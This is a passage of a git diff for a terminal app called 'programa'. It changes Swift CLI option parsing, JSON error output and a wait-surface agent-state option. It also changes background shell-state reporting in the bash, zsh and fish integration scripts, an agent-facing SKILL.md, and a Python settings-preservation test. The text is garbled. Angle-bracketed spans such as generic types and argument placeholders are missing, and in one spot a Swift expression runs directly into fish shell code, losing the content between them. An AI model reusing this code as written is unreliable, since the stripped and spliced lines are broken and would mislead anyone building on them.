(quotes + escaping) via JSONSerialization, - /// so arbitrary captured terminal text (quotes, backslashes, control characters, unicode) can - /// be embedded into hand-assembled JSON safely, without a bespoke escaper. - private func jsonEscapedString(_ value: String) -> String { - guard let data = try? JSONSerialization.data(withJSONObject: [value], options: [.withoutEscapingSlashes]), - let arrayJSON = String(data: data, encoding: .utf8), - arrayJSON.hasPrefix("["), arrayJSON.hasSuffix("]") else { - return "\"\"" - } - return String(arrayJSON.dropFirst().dropLast()) - } - - private func lastLines(_ text: String, maxLines: Int) -> String { - let lines = text.split(separator: "\n", omittingEmptySubsequences: false) - guard lines.count > maxLines else { return text } - return lines.suffix(maxLines).joined(separator: "\n") - } - - /// Encodes `values` as a compact JSON string array literal (e.g. `["a","b"]`) via - /// `JSONSerialization`, so a bundled manifest's existing `patterns` (fetched over the wire - /// from `agent.detection.list`) can be re-embedded into scaffolded JSON verbatim and safely, - /// without a bespoke escaper. - private func jsonEncodedStringArray(_ values: [String]) -> String { - guard let data = try? JSONSerialization.data(withJSONObject: values, options: [.withoutEscapingSlashes]), - let json = String(data: data, encoding: .utf8) else { - return "[]" - } - return json - } - - private func agentDetectionStateBlockLiteral( - bucket: String, - priority: Int, - anchorLines: Int, - patternsJSON: String, - confidence: String, - notes: String - ) -> String { - " {\n" - + " \"bucket\": \(jsonEscapedString(bucket)),\n" - + " \"priority\": \(priority),\n" - + " \"anchor_last_n_lines\": \(anchorLines),\n" - + " \"patterns\": \(patternsJSON),\n" - + " \"confidence\": \(jsonEscapedString(confidence)),\n" - + " \"source_notes\": \(jsonEscapedString(notes))\n" - + " }" - } - - /// Builds a starter manifest matching `AgentManifest`'s schema (Sources/AgentManifest.swift) - /// -- this CLI target cannot import that type directly, so the shape is mirrored by hand. - /// - /// When `seedStates` is nil (the common case: scaffolding an agent with no bundled - /// manifest), all three `states[].patterns` are left empty -- confirmed safe: - /// `AgentManifest.classify(text:)` iterates a state's patterns with a `for` loop, so an - /// empty array matches nothing, never everything -- with a TODO in `source_notes` plus the - /// captured screen as reference text, since JSON has no comments. - /// - /// When `seedStates` is non-nil (forced scaffold of a bundled agent id -- see - /// `runAgentDetectionScaffold`'s bundled-shadowing guard), those states' own patterns are - /// reused verbatim instead, so the result is an editable copy of a working manifest rather - /// than a blank one. - private func agentDetectionScaffoldJSON( - agentId: String, - capturedText: String, - seedStates: [[String: Any]]? - ) -> String { - let displayName = agentDetectionDisplayName(forAgentId: agentId) - let truncated = lastLines(capturedText, maxLines: 30) - let screenReference: String - if truncated.isEmpty { - screenReference = "No screen text was captured (surface appeared empty at scaffold time)." - } else { - let lineCount = truncated.split(separator: "\n", omittingEmptySubsequences: false).count - screenReference = "Captured screen (last \(lineCount) lines) for reference, delete once patterns are reviewed:\n\(truncated)" - } - - let stateBlocks: [String] - if let seedStates, !seedStates.isEmpty { - stateBlocks = seedStates.map { state in - let bucket = state["bucket"] as? String ?? "idle" - let priority = (state["priority"] as? Int) ?? ((state["priority"] as? NSNumber)?.intValue ?? 0) - let anchorLines = (state["anchor_last_n_lines"] as? Int) ?? ((state["anchor_last_n_lines"] as? NSNumber)?.intValue ?? 6) - let patterns = (state["patterns"] as? [String]) ?? [] - let confidence = state["confidence"] as? String ?? "low" - let notes = "SEEDED from the bundled '\(agentId)' manifest (forced override) -- " - + "review these, they were verified against the bundled agent's UI, not " - + "necessarily yours. \(screenReference)" - return agentDetectionStateBlockLiteral( - bucket: bucket, - priority: priority, - anchorLines: anchorLines, - patternsJSON: jsonEncodedStringArray(patterns), - confidence: confidence, - notes: notes - ) - } - } else { - let templates: [(bucket: String, priority: Int, anchorLines: Int, hint: String)] = [ - ( - "blocked", 100, 12, - "Add regex patterns that appear when \(displayName) is waiting on you -- a y/n confirmation, a permission prompt, etc." - ), - ( - "working", 50, 6, - "Add regex patterns that appear while \(displayName) is actively working -- a spinner, \"Thinking\", token counters, etc." - ), - ( - "idle", 0, 4, - "Add regex patterns that match \(displayName)'s prompt when it's idle and ready for the next instruction." - ) - ] - stateBlocks = templates.map { template in - let notes = "TODO: \(template.hint) Patterns are intentionally empty -- an empty " - + "list matches nothing (never everything; see AgentManifest.classify). \(screenReference)" - return agentDetectionStateBlockLiteral( - bucket: template.bucket, - priority: template.priority, - anchorLines: template.anchorLines, - patternsJSON: "[]", - confidence: "low", - notes: notes - ) - } - } - - let states = stateBlocks.joined(separator: ",\n") - - return """ - { - "version": 1, - "agent": \(jsonEscapedString(agentId)), - "display_name": \(jsonEscapedString(displayName)), - "recognize": { - "process_names": [\(jsonEscapedString(agentId))], - "screen_patterns": [] - }, - "states": [ - \(states) - ] - } - """ - } - /// Every branch name already present in `repo` that looks like `/`, as the /// set of those trailing numbers. Used by `race` to pick a starting index that does not /// collide, so racing twice in a row works instead of failing on every index. @@ -5515,6 +5136,10 @@ struct ProgramaCLI { skipNext = true continue } + if !pastTerminator, arg.hasPrefix(name + "=") { + values.append(String(arg.dropFirst(name.count + 1))) + continue + } remaining.append(arg) } return (values, remaining) @@ -5530,8 +5155,11 @@ struct ProgramaCLI { } func optionValue(_ args: [String], name: String) -> String? { - guard let index = args.firstIndex(of: name), index + 1 < args.count else { return nil } - return args[index + 1] + for (index, arg) in args.enumerated() { + if arg == name { return index + 1 < args.count ? args[index + 1] : nil } + if arg.hasPrefix(name + "=") { return String(arg.dropFirst(name.count + 1)) } + } + return nil } func hasFlag(_ args: [String], name: String) -> Bool { @@ -5565,8 +5193,7 @@ struct ProgramaCLI { _ args: [String], command: String, valueFlags: Set, - booleanFlags: Set = [], - allowEquals: Bool + booleanFlags: Set = [] ) throws -> (positional: [String], options: [String: String]) { var positional: [String] = [] var options: [String: String] = [:] @@ -5613,9 +5240,6 @@ struct ProgramaCLI { } if hasEqualsValue { - guard allowEquals else { - throw CLIError(message: "\(command): unexpected option syntax --\(name)=; use --\(name) ") - } let value = String(parts[1]) guard !value.isEmpty else { throw CLIError(message: "\(command): --\(name) requires a value") @@ -5642,15 +5266,13 @@ struct ProgramaCLI { values: Set = [], booleans: Set = [], minPositionals: Int = 0, - maxPositionals: Int? = 0, - allowEquals: Bool = false + maxPositionals: Int? = 0 ) throws -> (positional: [String], options: [String: String]) { let parsed = try preflightFlagArguments( args, command: command, valueFlags: values, - booleanFlags: booleans, - allowEquals: allowEquals + booleanFlags: booleans ) guard parsed.positional.count >= minPositionals else { throw CLIError(message: "\(command): missing required argument") @@ -5677,8 +5299,7 @@ struct ProgramaCLI { values: grammar.valueOptions, booleans: grammar.booleanOptions, minPositionals: grammar.minPositionals, - maxPositionals: grammar.maxPositionals, - allowEquals: grammar.allowEquals + maxPositionals: grammar.maxPositionals ) try require(grammar.requiredOptions, in: parsed.options) return @@ -5822,8 +5443,7 @@ struct ProgramaCLI { let parsed = try parse( values: ["icon", "color", "url", "link", "priority", "format", "pid", "workspace"], minPositionals: 2, - maxPositionals: nil, - allowEquals: true + maxPositionals: nil ) if let priority = parsed.options["priority"], Int(priority) == nil { throw CLIError(message: "set-status: --priority must be an integer") @@ -5836,7 +5456,7 @@ struct ProgramaCLI { } case "log": - let parsed = try parse(values: ["level", "source", "workspace"], minPositionals: 1, maxPositionals: nil, allowEquals: true) + let parsed = try parse(values: ["level", "source", "workspace"], minPositionals: 1, maxPositionals: nil) if let level = parsed.options["level"], !["info", "progress", "success", "warning", "error"].contains(level) { throw CLIError(message: "log: invalid --level value") } @@ -5854,8 +5474,7 @@ struct ProgramaCLI { let parsed = try parse( values: ["workspace", "window", "surface", "direction"], minPositionals: 1, - maxPositionals: 2, - allowEquals: true + maxPositionals: 2 ) if parsed.positional.count == 2, parsed.positional[0].lowercased() != "open" { throw CLIError(message: "markdown: unexpected subcommand \(parsed.positional[0])") @@ -5865,8 +5484,7 @@ struct ProgramaCLI { let parsed = try parse( values: ["workspace", "window", "surface", "direction", "mode", "base-branch", "preamble"], minPositionals: 1, - maxPositionals: nil, - allowEquals: true + maxPositionals: nil ) let subcommand = parsed.positional[0].lowercased() guard ["open", "refresh", "comment", "send"].contains(subcommand) else { @@ -5885,8 +5503,7 @@ struct ProgramaCLI { let parsed = try parse( values: ["workspace", "window"], minPositionals: 1, - maxPositionals: 2, - allowEquals: true + maxPositionals: 2 ) let subcommand = parsed.positional[0].lowercased() guard ["open", "list"].contains(subcommand) else { @@ -5920,8 +5537,7 @@ struct ProgramaCLI { values: ["repo", "base", "path", "layout"], booleans: ["focus", "force", "json", "all"], minPositionals: 1, - maxPositionals: nil, - allowEquals: true + maxPositionals: nil ) guard ["create", "open", "remove", "list"].contains(parsed.positional[0].lowercased()) else { throw CLIError(message: "worktree: unknown subcommand \(parsed.positional[0])") @@ -5946,8 +5562,7 @@ struct ProgramaCLI { values: ["surface", "workspace"], booleans: ["force", "json"], minPositionals: 1, - maxPositionals: 2, - allowEquals: true + maxPositionals: 2 ) let subcommand = parsed.positional[0].lowercased() guard ["list", "scaffold", "test"].contains(subcommand) else { @@ -5961,8 +5576,7 @@ struct ProgramaCLI { let parsed = try parse( values: ["n", "agent", "base", "prefix", "layout"], minPositionals: 1, - maxPositionals: nil, - allowEquals: true + maxPositionals: nil ) if let rawN = parsed.options["n"] { guard let n = Int(rawN), n >= 1, n <= 8 else { @@ -5980,8 +5594,7 @@ struct ProgramaCLI { values: ["workspace", "cwd"], booleans: ["force", "json"], minPositionals: 1, - maxPositionals: nil, - allowEquals: true + maxPositionals: nil ) guard ["save", "apply", "list"].contains(parsed.positional[0].lowercased()) else { throw CLIError(message: "layout: unknown subcommand \(parsed.positional[0])") @@ -6064,7 +5677,11 @@ struct ProgramaCLI { case "shortcuts", "feedback", "themes", "claude-teams", "omo", "omx", "omc": return case "codex", "claude", "opencode": - _ = try parse(booleans: ["yes", "y"], minPositionals: 1, maxPositionals: 1) + // `-y` is a single-dash token, so it arrives as a positional after the subcommand. + let parsed = try parse(booleans: ["yes", "y"], minPositionals: 1, maxPositionals: 2) + guard parsed.positional.count == 1 || parsed.positional[1] == "-y" else { + throw CLIError(message: "\(command): unexpected arguments: \(parsed.positional[1])") + } case "aside": _ = try parse(booleans: ["yes", "y", "with-devtools"], minPositionals: 1, maxPositionals: 1) // Commands with richer bespoke contracts are validated by their @@ -6095,8 +5712,7 @@ struct ProgramaCLI { let parsed = try preflightFlagArguments( args, command: command, - valueFlags: ["panel", "workspace"], - allowEquals: false + valueFlags: ["panel", "workspace"] ) guard parsed.positional.isEmpty else { throw CLIError(message: "focus-panel: unexpected arguments: \(parsed.positional.joined(separator: " "))") @@ -6110,8 +5726,7 @@ struct ProgramaCLI { args, command: command, valueFlags: ["workspace", "surface", "lines"], - booleanFlags: ["scrollback"], - allowEquals: false + booleanFlags: ["scrollback"] ) guard parsed.positional.isEmpty else { throw CLIError(message: "read-screen: unexpected arguments: \(parsed.positional.joined(separator: " "))") @@ -6126,15 +5741,17 @@ struct ProgramaCLI { let parsed = try preflightFlagArguments( args, command: command, - valueFlags: ["workspace", "surface", "pattern", "timeout", "lines"], - booleanFlags: ["exit"], - allowEquals: false + valueFlags: ["workspace", "surface", "pattern", "timeout", "lines", "agent-state"], + booleanFlags: ["exit"] ) guard parsed.positional.isEmpty else { throw CLIError(message: "wait-surface: unexpected arguments: \(parsed.positional.joined(separator: " "))") } - guard (parsed.options["pattern"] != nil) != (parsed.options["exit"] != nil) else { - throw CLIError(message: "wait-surface requires exactly one of --pattern or --exit") + guard ["pattern", "exit", "agent-state"].filter({ parsed.options[$0] != nil }).count == 1 else { + throw CLIError(message: "wait-surface requires exactly one of --pattern , --exit, or --agent-state ") + } + if let state = parsed.options["agent-state"], !["idle", "working", "blocked", "any_change"].contains(state) { + throw CLIError(message: "wait-surface: --agent-state must be one of idle, working, blocked, any_change") } if let timeout = parsed.options["timeout"] { guard let seconds = Double(timeout), seconds.isFinite, seconds > 0 else { @@ -6152,8 +5769,7 @@ struct ProgramaCLI { args, command: command, valueFlags: ["output"], - booleanFlags: ["agent-state", "workspace-lifecycle", "no-reconnect"], - allowEquals: false + booleanFlags: ["agent-state", "workspace-lifecycle", "no-reconnect"] ) guard parsed.positional.isEmpty else { throw CLIError(message: "watch-events: unexpected arguments: \(parsed.positional.joined(separator: " "))") @@ -6170,8 +5786,7 @@ struct ProgramaCLI { let parsed = try preflightFlagArguments( args, command: command, - valueFlags: ["label", "workspace"], - allowEquals: true + valueFlags: ["label", "workspace"] ) guard parsed.positional.count == 1, let rawValue = parsed.positional.first else { throw CLIError(message: "set-progress requires a progress value") @@ -6184,8 +5799,7 @@ struct ProgramaCLI { let parsed = try preflightFlagArguments( args, command: command, - valueFlags: ["limit", "workspace"], - allowEquals: true + valueFlags: ["limit", "workspace"] ) guard parsed.positional.isEmpty else { throw CLIError(message: "list-log: unexpected arguments: \(parsed.positional.joined(separator: " "))") @@ -6423,6 +6037,16 @@ struct ProgramaCLI { return params } + func printVersion(jsonOutput: Bool) { + guard jsonOutput else { return print(versionSummary()) } + let info = resolvedVersionInfo() + var payload: [String: Any] = ["summary": versionSummary()] + payload["version"] = info["CFBundleShortVersionString"] + payload["build"] = info["CFBundleVersion"] + payload["commit"] = info["ProgramaCommit"].flatMap { normalizedCommitHash($0) } + print(jsonString(payload)) + } + func versionSummary() -> String { let info = resolvedVersionInfo() let commit = info["ProgramaCommit"].flatMap { normalizedCommitHash($0) } @@ -6813,6 +6437,15 @@ struct ProgramaCLI { programa Open a directory in a new workspace (launches programa if needed) programa [global-options] [options] + Global Options (before the command): + --socket Socket to connect to (default: see PROGRAMA_SOCKET_PATH below) + --json JSON output; errors print {"ok":false,"error":{...}} on stdout + --id-format Handle format in output (default: refs) + --window Target this window (focuses it first) + --password Socket password + -v, --version Print the version and exit + -h, --help Print this help and exit + Handle Inputs: Use UUIDs or short refs (window:1/workspace:2/pane:3/surface:4) where commands accept window, workspace, pane, or surface inputs. `tab-action` also accepts `tab:` in addition to `surface:`. @@ -6857,8 +6490,39 @@ struct ProgramaMain { do { try cli.run() } catch { - FileHandle.standardError.write(Data("Error: \(error)\n".utf8)) + if jsonOutputRequested(CommandLine.arguments) { + print(cli.jsonString(["ok": false, "error": jsonErrorObject(error)] as [String: Any])) + } else { + FileHandle.standardError.write(Data("Error: \(error)\n".utf8)) + } exit(1) } } + + /// Mirrors the global-option loop in `CLICommandDispatcher.run()`: `--json` counts only + /// before the command name. + static func jsonOutputRequested(_ args: [String]) -> Bool { + var index = 1 + while index < args.count { + let arg = args[index] + if arg == "--json" { return true } + if ["--socket", "--id-format", "--window", "--password"].contains(arg) { index += 2; continue } + guard arg.hasPrefix("-") else { return false } + index += 1 + } + return false + } + + /// Socket errors arrive as ": " (`SocketClient.sendV2`); everything else is a + /// CLI-side error with code "error". + static func jsonErrorObject(_ error: Error) -> [String: Any] { + let text = String(describing: error) + if let separator = text.range(of: ": "), + case let code = String(text[../dev/null 2>&1 & end + # Shell-state reports run before every command and prompt, so they must not wait on a + # CLI process. Each report runs the CLI in the background with the next ticket and waits + # (at most 2 s) until the previous ticket is done, so a `prompt` report never overtakes + # the `running` report before it. Same runner as the bash integration. + set -g _PROGRAMA_SHELL_STATE_SEQ 0 + set -g _PROGRAMA_SHELL_STATE_RUNNER 'ticket=$1 file=$2; shift 2; i=0 +while [ "$ticket" -gt 1 ] && [ $i -lt 200 ]; do + done_ticket=; { read -r done_ticket < "$file"; } 2>/dev/null + [ "$done_ticket" = "$((ticket - 1))" ] && break + sleep 0.01; i=$((i + 1)) +done +PROGRAMA_CLI_RESPONSE_TIMEOUT_SEC=1 "$@" >/dev/null 2>&1 +printf "%s\\n" "$ticket" > "$file"' + function _programa_relay_rpc_ordered_bg --argument-names method params + set -l relay_cli (_programa_relay_cli_path) + test -n "$relay_cli"; or return 1 + set -l state_dir $HOME + set -q TMPDIR; and test -n "$TMPDIR"; and set state_dir $TMPDIR + set -l file "$state_dir/.programa-shell-state.$fish_pid" + set -g _PROGRAMA_SHELL_STATE_SEQ (math $_PROGRAMA_SHELL_STATE_SEQ + 1) + if test "$_PROGRAMA_SHELL_STATE_SEQ" = 1 + printf '0\n' >$file + end + /bin/sh -c "$_PROGRAMA_SHELL_STATE_RUNNER" programa-shell-state \ + $_PROGRAMA_SHELL_STATE_SEQ $file $relay_cli rpc $method $params >/dev/null 2>&1 & + disown $last_pid 2>/dev/null + return 0 + end + function _programa_relay_rpc --argument-names method params _programa_has_port_scan_transport; or return 1 set -l relay_cli (_programa_relay_cli_path) @@ -190,7 +219,7 @@ if test "$_programa_integration_enabled" != 0 test -n "$workspace_id"; or set workspace_id "$PROGRAMA_TAB_ID" set -l state_json (_programa_json_escape "$state") set -l params "{\"workspace_id\":\"$workspace_id\",\"surface_id\":\"$PROGRAMA_PANEL_ID\",\"state\":\"$state_json\"}" - _programa_relay_rpc "surface.report_shell_state" "$params"; or return 0 + _programa_relay_rpc_ordered_bg "surface.report_shell_state" "$params"; or return 0 set -g _PROGRAMA_SHELL_ACTIVITY_LAST "$state" end diff --git a/Resources/shell-integration/programa-bash-integration.bash b/Resources/shell-integration/programa-bash-integration.bash index c0e44bcb8..1f02f6e3f 100644 --- a/Resources/shell-integration/programa-bash-integration.bash +++ b/Resources/shell-integration/programa-bash-integration.bash @@ -76,6 +76,33 @@ _programa_relay_rpc() { return 0 } +# Shell-state reports run before every command and prompt, so they must not wait on a CLI +# process (bash has no Unix-socket builtin). Each report runs the CLI in the background with +# the next ticket and waits (at most 2 s) until the previous ticket is done, so a `prompt` +# report never overtakes the `running` report before it. A finished background job can linger +# as a zombie, so tickets live in a per-shell file rather than in `kill -0` checks. +_PROGRAMA_SHELL_STATE_SEQ=0 +_PROGRAMA_SHELL_STATE_RUNNER='ticket=$1 file=$2; shift 2; i=0 +while [ "$ticket" -gt 1 ] && [ $i -lt 200 ]; do + done_ticket=; { read -r done_ticket < "$file"; } 2>/dev/null + [ "$done_ticket" = "$((ticket - 1))" ] && break + sleep 0.01; i=$((i + 1)) +done +PROGRAMA_CLI_RESPONSE_TIMEOUT_SEC=1 "$@" >/dev/null 2>&1 +printf "%s\n" "$ticket" > "$file"' +_programa_relay_rpc_ordered_bg() { + local method="$1" + local params="$2" + local relay_cli="" + local file="${TMPDIR:-$HOME}/.programa-shell-state.$$" + relay_cli="$(_programa_relay_cli_path)" || return 1 + _PROGRAMA_SHELL_STATE_SEQ=$((_PROGRAMA_SHELL_STATE_SEQ + 1)) + (( _PROGRAMA_SHELL_STATE_SEQ == 1 )) && printf '0\n' > "$file" + # Spawned from a subshell so the interactive shell registers no job (no "[1] PID" noise). + ( /bin/sh -c "$_PROGRAMA_SHELL_STATE_RUNNER" programa-shell-state \ + "$_PROGRAMA_SHELL_STATE_SEQ" "$file" "$relay_cli" rpc "$method" "$params" >/dev/null 2>&1 & ) +} + _programa_relay_workspace_id() { if [[ -n "$PROGRAMA_WORKSPACE_ID" ]]; then printf '%s\n' "$PROGRAMA_WORKSPACE_ID" @@ -380,7 +407,13 @@ _programa_report_shell_activity_state() { workspace_id="$(_programa_relay_workspace_id)" || workspace_id="$PROGRAMA_TAB_ID" state_json="$(_programa_json_escape "$state")" params="{\"workspace_id\":\"$workspace_id\",\"surface_id\":\"$PROGRAMA_PANEL_ID\",\"state\":\"$state_json\"}" - _programa_relay_rpc "surface.report_shell_state" "$params" || return 0 + if (( BASH_SUBSHELL > 0 )); then + # bash 4.4-5.2 runs preexec from PS0 in a `$(...)` subshell, where a ticket taken here + # is lost to the parent; keep that one report synchronous so ordering still holds. + _programa_relay_rpc "surface.report_shell_state" "$params" || return 0 + else + _programa_relay_rpc_ordered_bg "surface.report_shell_state" "$params" || return 0 + fi _PROGRAMA_SHELL_ACTIVITY_LAST="$state" } diff --git a/Resources/shell-integration/programa-zsh-integration.zsh b/Resources/shell-integration/programa-zsh-integration.zsh index 66ecf4b59..51c6687a9 100644 --- a/Resources/shell-integration/programa-zsh-integration.zsh +++ b/Resources/shell-integration/programa-zsh-integration.zsh @@ -74,6 +74,58 @@ _programa_relay_rpc() { return 0 } +# Shell-state reports run in preexec/precmd, so they must never make the prompt or the +# command wait on a CLI process. Send them straight over the Unix socket with zsh/net/socket: +# the server answers off-main in well under a millisecond, and waiting for that reply (capped +# at 0.25 s) is what keeps a `prompt` report from overtaking the `running` report before it. +# Returns 1 when the module is missing, the connect fails, the reply is not ok (password mode +# answers auth_required), or a background fallback report is still in flight. +typeset -g _PROGRAMA_DIRECT_SOCKET="" +_programa_socket_rpc_direct() { + local frame="$1" fd reply="" done_ticket="" + [[ "$_PROGRAMA_DIRECT_SOCKET" == off ]] && return 1 + if (( _PROGRAMA_SHELL_STATE_SEQ > 0 )); then + { read -r done_ticket < "$_PROGRAMA_SHELL_STATE_FILE" } 2>/dev/null + [[ "$done_ticket" == "$_PROGRAMA_SHELL_STATE_SEQ" ]] || return 1 + fi + if [[ -z "$_PROGRAMA_DIRECT_SOCKET" ]]; then + if zmodload zsh/net/socket 2>/dev/null; then + _PROGRAMA_DIRECT_SOCKET=on + else + _PROGRAMA_DIRECT_SOCKET=off + return 1 + fi + fi + zsocket "$PROGRAMA_SOCKET_PATH" 2>/dev/null || return 1 + fd=$REPLY + print -r -u $fd -- "$frame" 2>/dev/null + read -r -t 0.25 -u $fd reply 2>/dev/null + exec {fd}>&- + [[ "$reply" == *'"auth_required"'* ]] && _PROGRAMA_DIRECT_SOCKET=off + [[ "$reply" == *'"ok":true'* ]] +} + +# Fallback for _programa_socket_rpc_direct: the CLI in the background with the next ticket, +# waiting (at most 2 s) until the previous ticket is done, so the prompt never waits and +# reports still arrive in order. Same runner as the bash and fish integrations. +typeset -g _PROGRAMA_SHELL_STATE_SEQ=0 +typeset -g _PROGRAMA_SHELL_STATE_FILE="${TMPDIR:-$HOME}/.programa-shell-state.$$" +typeset -g _PROGRAMA_SHELL_STATE_RUNNER='ticket=$1 file=$2; shift 2; i=0 +while [ "$ticket" -gt 1 ] && [ $i -lt 200 ]; do + done_ticket=; { read -r done_ticket < "$file"; } 2>/dev/null + [ "$done_ticket" = "$((ticket - 1))" ] && break + sleep 0.01; i=$((i + 1)) +done +PROGRAMA_CLI_RESPONSE_TIMEOUT_SEC=1 "$@" >/dev/null 2>&1 +printf "%s\n" "$ticket" > "$file"' +_programa_relay_rpc_ordered_bg() { + local method="$1" params="$2" relay_cli="" + relay_cli="$(_programa_relay_cli_path)" || return 1 + (( ++_PROGRAMA_SHELL_STATE_SEQ == 1 )) && print -r -- 0 >| "$_PROGRAMA_SHELL_STATE_FILE" + /bin/sh -c "$_PROGRAMA_SHELL_STATE_RUNNER" programa-shell-state \ + "$_PROGRAMA_SHELL_STATE_SEQ" "$_PROGRAMA_SHELL_STATE_FILE" "$relay_cli" rpc "$method" "$params" >/dev/null 2>&1 &! +} + _programa_relay_workspace_id() { if [[ -n "$PROGRAMA_WORKSPACE_ID" ]]; then print -r -- "$PROGRAMA_WORKSPACE_ID" @@ -466,11 +518,14 @@ _programa_report_shell_activity_state() { [[ -n "$PROGRAMA_TAB_ID" ]] || return 0 [[ -n "$PROGRAMA_PANEL_ID" ]] || return 0 [[ "$_PROGRAMA_SHELL_ACTIVITY_LAST" == "$state" ]] && return 0 - local workspace_id="" state_json params - workspace_id="$(_programa_relay_workspace_id)" || workspace_id="$PROGRAMA_TAB_ID" - state_json="$(_programa_json_escape "$state")" + # Inline (no command substitution) so this hot path forks nothing on the direct route. + local workspace_id="${PROGRAMA_WORKSPACE_ID:-$PROGRAMA_TAB_ID}" state_json="$state" params + state_json="${state_json//\\/\\\\}" + state_json="${state_json//\"/\\\"}" params="{\"workspace_id\":\"$workspace_id\",\"surface_id\":\"$PROGRAMA_PANEL_ID\",\"state\":\"$state_json\"}" - _programa_relay_rpc "surface.report_shell_state" "$params" || return 0 + _programa_socket_rpc_direct "{\"id\":1,\"method\":\"surface.report_shell_state\",\"params\":$params}" \ + || _programa_relay_rpc_ordered_bg "surface.report_shell_state" "$params" \ + || return 0 _PROGRAMA_SHELL_ACTIVITY_LAST="$state" } diff --git a/SKILL.md b/SKILL.md index 0a68f8749..adfa5dc79 100644 --- a/SKILL.md +++ b/SKILL.md @@ -3,7 +3,7 @@ name: programa description: Drive the programa terminal app from inside a programa surface — inspect windows/workspaces/panes/surfaces, split panes and run commands without stealing the user's focus, read output from sibling panes, spawn and coordinate a helper agent, and wait on it. Use whenever an agent is running inside programa (PROGRAMA_SURFACE_ID and PROGRAMA_SOCKET_PATH are set) and needs to control the app itself, not just the shell inside one pane. Do not use, and do not call the programa CLI at all, when those two variables are unset — that means the agent is not running inside programa. --- - + # programa @@ -97,6 +97,8 @@ programa new-pane --direction down --workspace workspace:2 programa new-surface --pane pane:4 # new tab in an existing pane ``` +A workspace holds at most 4 panes. A split or new pane past that fails with error code `limit_reached` (`data.max_panes` is 4) instead of creating anything. Fall back to `agent_spawn` (a helper gets its own nested workspace) or to a new workspace with `programa new-workspace`. + ## Reading output from a sibling pane `read-screen` (alias `capture-pane`, for tmux muscle memory) returns terminal text as plain text — the visible viewport by default, or scrollback on request: @@ -140,7 +142,7 @@ programa notify --title "Helper agent done" --body "Tests pass, ready for review ## Waiting on a server, a test run, or another agent -`wait-surface` blocks server-side until a surface's output matches a regex or its process exits, so you don't have to poll: +`wait-surface` blocks server-side until a surface's output matches a regex, its process exits, or the agent in it reaches a state, so you don't have to poll: ```bash # Block until the build in a sibling pane finishes, up to 2 minutes @@ -150,7 +152,7 @@ programa wait-surface --surface "$handle" --pattern 'BUILD (SUCCEEDED|FAILED)' - programa wait-surface --surface "$handle" --exit --timeout 600 ``` -Exactly one of `--pattern ` or `--exit` is required. Match on whatever the process actually prints ("PASS", "Server started", a prompt returning), not a fixed sleep duration. The wait is answered by the app the moment the condition is met — there is no missed-event window even if the output appears while the call is being issued. +Exactly one of `--pattern `, `--exit`, or `--agent-state ` is required. Match on whatever the process actually prints ("PASS", "Server started", a prompt returning), not a fixed sleep duration. The wait is answered by the app the moment the condition is met — there is no missed-event window even if the output appears while the call is being issued. `wait-surface` also has a third condition, `--agent-state `, for a sibling pane running another agent whose lifecycle hooks report status automatically (Claude Code/Codex/OpenCode installs wire this up for you, no extra setup) — block on what the agent is *doing*, not what it prints: @@ -227,7 +229,7 @@ Two browsers, two jobs. Do not reach for a Chrome extension for either. programa browser --surface surface:7 tab close ``` - `programa browser --help` lists the rest (wait, fill, eval, cookies, console, errors). Network routing, viewport, and raw input injection are not supported on WKWebView and return `not_supported`. Over MCP the same calls are the `browser_*` tools of `programa-mcp`. + `programa browser --help` lists the rest (wait, fill, eval, cookies, console, errors). Network routing, viewport control, and raw input injection are not available on WKWebView, so there are no commands for them. Over MCP the same calls are the `browser_*` tools of `programa-mcp`. - **Logged-in sites, private dashboards, CI logs, anything that needs the user's real browser profile:** use Aside through its MCP server if it is registered (tools from the `aside` server, or `aside-devtools` for raw Chrome DevTools control), or delegate a whole task from the shell: diff --git a/tests/test_cli_claude_settings_preservation.py b/tests/test_cli_claude_settings_preservation.py new file mode 100644 index 000000000..bf54f7a86 --- /dev/null +++ b/tests/test_cli_claude_settings_preservation.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python3 +"""Contract (CLIX-12/13): Claude settings.json keeps user hooks and file permissions. + +A user may add their own hook to the group Programa created (same matcher group), and may +tighten settings.json to 0600 because it can hold API keys in `env`. Reinstalling must split +the user's hook out of the Programa group instead of dropping or duplicating it, and neither +install nor uninstall may widen the file mode. + +Runs the built CLI under a temporary HOME; no socket and no app are involved. +""" + +from __future__ import annotations + +import json +import os +import stat +import subprocess +import tempfile +import unittest +from pathlib import Path +from typing import Any + +CLI_PATH = os.environ.get("PROGRAMA_CLI_BIN", "") +MARKER = "programa claude-hook" +USER_COMMAND = "echo user-notify" +STRIPPED_ENV = ( + "PROGRAMA_WORKSPACE_ID", "PROGRAMA_SURFACE_ID", "PROGRAMA_PANEL_ID", "PROGRAMA_TAB_ID", + "CLAUDE_CONFIG_DIR", "XDG_CONFIG_HOME", +) + + +class ClaudeSettingsPreservationTests(unittest.TestCase): + def setUp(self) -> None: + self.assertTrue(CLI_PATH and os.access(CLI_PATH, os.X_OK), "PROGRAMA_CLI_BIN must point to the built CLI") + self._tmp = tempfile.TemporaryDirectory(prefix="pcli-home-", dir="/tmp") + self.addCleanup(self._tmp.cleanup) + self.home = self._tmp.name + self.settings = Path(self.home) / ".claude" / "settings.json" + + def cli(self, action: str) -> subprocess.CompletedProcess[str]: + env = dict(os.environ) + for key in STRIPPED_ENV: + env.pop(key, None) + sock = os.path.join(self.home, "no-such.sock") + env.update(HOME=self.home, CFFIXED_USER_HOME=self.home, PROGRAMA_SOCKET=sock, PROGRAMA_SOCKET_PATH=sock) + proc = subprocess.run( + [CLI_PATH, "claude", action, "--yes"], + stdin=subprocess.DEVNULL, capture_output=True, text=True, check=False, timeout=30, env=env, + ) + self.assertEqual(proc.returncode, 0, f"{action}: stdout={proc.stdout!r} stderr={proc.stderr!r}") + return proc + + def load(self) -> dict[str, Any]: + return json.loads(self.settings.read_text(encoding="utf-8")) + + def mode(self) -> int: + return stat.S_IMODE(self.settings.stat().st_mode) + + @staticmethod + def commands(group: dict[str, Any]) -> list[str]: + return [h.get("command", "") for h in group.get("hooks", [])] + + def test_user_hook_in_programa_group_survives_reinstall_and_uninstall_with_mode_0600(self) -> None: + self.cli("install-integration") + + data = self.load() + groups = data["hooks"]["Notification"] + programa_group = next(g for g in groups if any(MARKER in c for c in self.commands(g))) + programa_group["hooks"].append({"type": "command", "command": USER_COMMAND}) + self.settings.write_text(json.dumps(data, indent=2), encoding="utf-8") + os.chmod(self.settings, 0o600) + + self.cli("install-integration") + self.cli("install-integration") + + groups = self.load()["hooks"]["Notification"] + self.assertEqual(len(groups), 2, f"expected a user group and one Programa group: {groups}") + user_groups = [g for g in groups if 